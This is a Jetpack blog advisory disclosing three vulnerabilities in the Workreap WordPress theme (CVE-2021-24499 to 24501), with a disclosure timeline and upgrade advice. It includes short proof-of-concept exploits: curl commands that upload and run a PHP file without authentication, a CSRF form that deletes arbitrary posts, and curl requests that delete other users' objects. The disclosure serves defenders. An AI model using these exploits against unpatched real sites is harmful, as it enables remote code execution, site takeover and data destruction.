Multiple vulnerabilities in Workreap theme by Amentotech

Updated on August 3, 2021 - Harald Eilertsen

Recently the Jetpack team found some infected files in one of our hosted customers' sites, and quickly traced the source of infection back to the Workreap theme by Amentotech. We started an investigation and uncovered a number of vulnerable AJAX endpoints in the theme; the most severe of these was an unauthenticated unvalidated upload vulnerability potentially leading to remote code execution and a full site takeover.

We reported the vulnerabilities to the Amentotech team via the Envato Helpful Hacker program, and the issues were addressed promptly by them. Version 2.2.2 of the theme was released on June 29, 2021 that fixes the found vulnerabilities.

TL;DR

Due to the seriousness of the vulnerabilities, we highly recommend all users of the Workreap theme to upgrade to version 2.2.2 or later as soon as possible.

Download the upgrade from the theme website and install it manually, or upgrade automatically via the Envato market plugin.

Details

Theme Name: Workreap
Theme URI: http://amentotech.com/projects/wpworkreap
Author: Amentotech
Author URI: https://themeforest.net/user/amentotech/portfolio

The Vulnerabilities

Due to the seriousness of the vulnerabilities, we will delay posting proof of concept and complete analysis to give users time to upgrade.

Unauthenticated upload leading to remote code execution

Affected Versions: < 2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10.0
CWE: CWE-284, CWE-641,
CWSS: 90.7
WPScan link: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

The AJAX actions `workreap_award_temp_file_uploader` and `workreap_temp_file_uploader` did not perform nonce checks, or validate that the request is from a valid user in any other way. The endpoints allowed for uploading arbitrary files to the `uploads/workreap-temp` directory. Uploaded files were neither sanitized nor validated, allowing an unauthenticated visitor to upload executable code such as php scripts.

Proof of concept

```
% curl -F 'action=workreap_award_temp_file_uploader' -F award_img=@malicious.php 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!
```

Multiple CSRF + IDOR vulnerabilities

Affected Versions: < 2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8.2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78.3
WPScan link: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

Several AJAX actions available in the Workreap theme lacked CSRF protections, as well as allowing insecure direct object references (IDOR) that were not validated. This allows an attacker to trick a logged in user to submit a POST request to the vulnerable site, potentially modifying or deleting arbitrary objects on the target site.

In versions before 2.0.0 these actions lacked authentication completely, and were exploitable by any visitor to the site.

Proof of concept

```
<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>
```

Missing authorization checks in AJAX actions

Affected Versions: < 2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68.5
WPScan link: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

Several AJAX actions available in the Workreap theme were missing authorization checks to verify that a user was authorized to perform critical operations such as modifying or deleting objects. This allowed a logged-in user to modify or delete objects belonging to other users on the site.

In versions before 2.0.0 these actions lack authentication completely and were exploitable by any visitor to the site.

Proof of concept

```
# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"ht

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}
```

Timeline

2021-06-24: Initial upload vulnerability discovered by the Jetpack Scan team, reported to the Envato Helpful Hacker program.
2021-06-25: Documented further vulnerabilities discovered, Amentotech informed via Envato.
2021-06-27: Version 2.2.1 released, addressed some but not all of the vulnerabilities.
2021-06-29: Version 2.2.2 released, and fixes verified by the Jetpack Scan team.

Conclusion

We recommend that you check the current version of the Workreap theme you are using on your site and, if it is less than 2.2.2, update it as soon as possible!

At Jetpack, we work hard to make sure your websites are protected from these types of vulnerabilities. To stay one step ahead of any new threats, check out Jetpack Scan, which includes security scanning and automated malware removal.

Credits

Original researcher: Harald Eilertsen

Thanks to the rest of the Jetpack Scan team for feedback, help, and corrections. Also thanks to kailoon of the Envato Helpful Hacker program for assistance in reaching out to Amentotech, and to Amentotech for a prompt response in addressing the issues and releasing the updated version.

*This entry was posted in **Vulnerabilities** and tagged **Jetpack**, **Security**, **WordPress**. Bookmark the **permalink**.*

Harald Eilertsen

Harald is a Certified Systems Security Professional (CISSP) with a wide background from software development and the security industry. He has a Master of Science in analog microelectronics from the Norwegian University of Science and Technology (NTNU), and has worked for companies such as Norman, Tandberg and Cisco before joining the Jetpack Scan team at Automattic.

Explore the benefits of Jetpack

Learn how Jetpack can help you protect, speed up, and grow your WordPress site.

Compare plans

Have a question?

Comments are closed for this article, but we're still here to help! Visit the support forum and we'll be happy to answer any questions.

View support forum

Search

Get news & tips from Jetpack

Enter your email address to follow this blog and receive news and updates from Jetpack!

Email Address

Subscribe

Join 111,148 other subscribers

Browse by Topic

- Affiliates (1)
- Analytics (6)
- Code snippets (32)
- Contribute (6)
- Customer Stories (6)
- Ecommerce (11)
- Events (5)
- Features (56)
- Grow (11)
- hosting (1)
- Innovate (6)
- Jetpack News (45)
- Learn (65)
- Meet Jetpack (14)
- Performance (24)
- Photos & Videos (9)
- Promotions (2)
- Releases (166)
- Search Engine Optimization (12)
- Security (75)
- Small Business (16)
- Social Media (13)
- Support Stories (3)
- Tips & Tricks (85)
- Uncategorized (5)
- Utilities & Maintenance (4)
- Vulnerabilities (18)
- Website Design (13)

WordAds (1)
WordCamp (3)

Jetpack

EN

WordPress Plugins

- Akismet Anti-spam
- Jetpack
- Jetpack Boost
- Jetpack CRM
- Jetpack Protect
- Jetpack Search
- Jetpack Social
- Jetpack VideoPress
- VaultPress Backup
- WP Super Cache

Partners

- Recommended Hosts
- For Hosts
- For Agencies

Developers

- Documentation
- Beta Program
- Contribute to Jetpack

Legal

- Terms of Service
- Privacy Policy
- GDPR
- Privacy Notice for California Users

Help

- Knowledge Base
- Forums
- Security Library
- Contact Us
- Press

Social

Mobile Apps

GET IT ON Google Play

Download on the App Store

An airline

Work With Us